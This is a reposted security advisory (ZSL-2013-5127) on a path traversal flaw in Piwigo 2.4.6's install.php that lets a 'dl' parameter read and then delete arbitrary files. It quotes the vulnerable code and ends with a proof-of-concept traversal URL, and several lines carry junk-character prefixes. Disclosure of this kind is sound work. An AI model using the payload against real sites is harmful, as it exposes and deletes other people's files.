Piwigo任意文件泄露和任意文件删除漏洞

admin

Piwigo是用PHP编写的相册脚本。

1 ~/ n- y, `: k5 Y: g- `Piwigo 2.4.6及其他版本没有正确验证install.php脚本的 'dl'参数值，在实现上存在安全漏洞，攻击者可利用这些漏洞查看受影响计算机上的任意文件，删除受影响应用上下文内的任意文件。
7 G; i8 L2 L. z4 g# U' P====================================================================
/ |, y' b8 `$ l/ P& {. X5 S+ h/install.php:
-------------
113: if (!empty($_GET['dl']) && file_exists(PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl']))
114: {
115:   $filename = PHPWG_ROOT_PATH.$conf['data_location'].'pwg_'.$_GET['dl'];
# P* `, K+ h2 }% W* B116:   header('Cache-Control: no-cache, must-revalidate');
+ h% A3 Q) p3 I+ R' `117:   header('Pragma: no-cache');
. j  u9 C- ?. f9 r% w118:   header('Content-Disposition: attachment; filename="database.inc.php"');
& L9 s* w6 J6 a5 Z; j' T9 ~* {119:   header('Content-Transfer-Encoding: binary');
% ]- }& L5 R3 f$ ^120:   header('Content-Length: '.filesize($filename));
  f+ z; L  n& Q121:   echo file_get_contents($filename);
; d! ]0 ~2 ^' H8 F( T8 T, m122:   unlink($filename);
123:   exit();
124: }
====================================================================
2 R6 [% w- y3 R; _# B, M
Tested on: Microsoft Windows 7 Ultimate SP1 (EN)
/ F6 l" v  P5 c( a% f; ^' v: o0 l& J           Apache 2.4.2 (Win32)
           PHP 5.4.4
4 w, [4 K/ s: P, k$ I           MySQL 5.5.25a
0 \& p! c$ g8 r# Z+ T2 `. `
Vulnerability discovered by Gjoko 'LiquidWorm' Krstic
& c7 R2 g2 F. G, A. D                            @zeroscience
5 @) [6 O$ ]- S5 z5 O% w  D  U- T" `
: x4 E5 i* z5 B$ r* o1 p5 @( cAdvisory ID: ZSL-2013-5127
Advisory URL: http://www.zeroscience.mk/en/vulnerabilities/ZSL-2013-5127.php
Vendor Patch: http://piwigo.org/bugs/view.php?id=2843
; q& L) n  ?8 C3 h' [8 Z0 J
15.02.2013
# G' D4 _7 ~) v# J" l% l
--
9 ^4 O4 s& `- Y8 G* r% f, N$ }7 E$ fhttp://localhost/piwigo/install.php?dl=../../../../../../lio_passwords.txt
% e8 B; I0 g+ @" x, I* j
7 f& V  b( ~/ h4 D+ g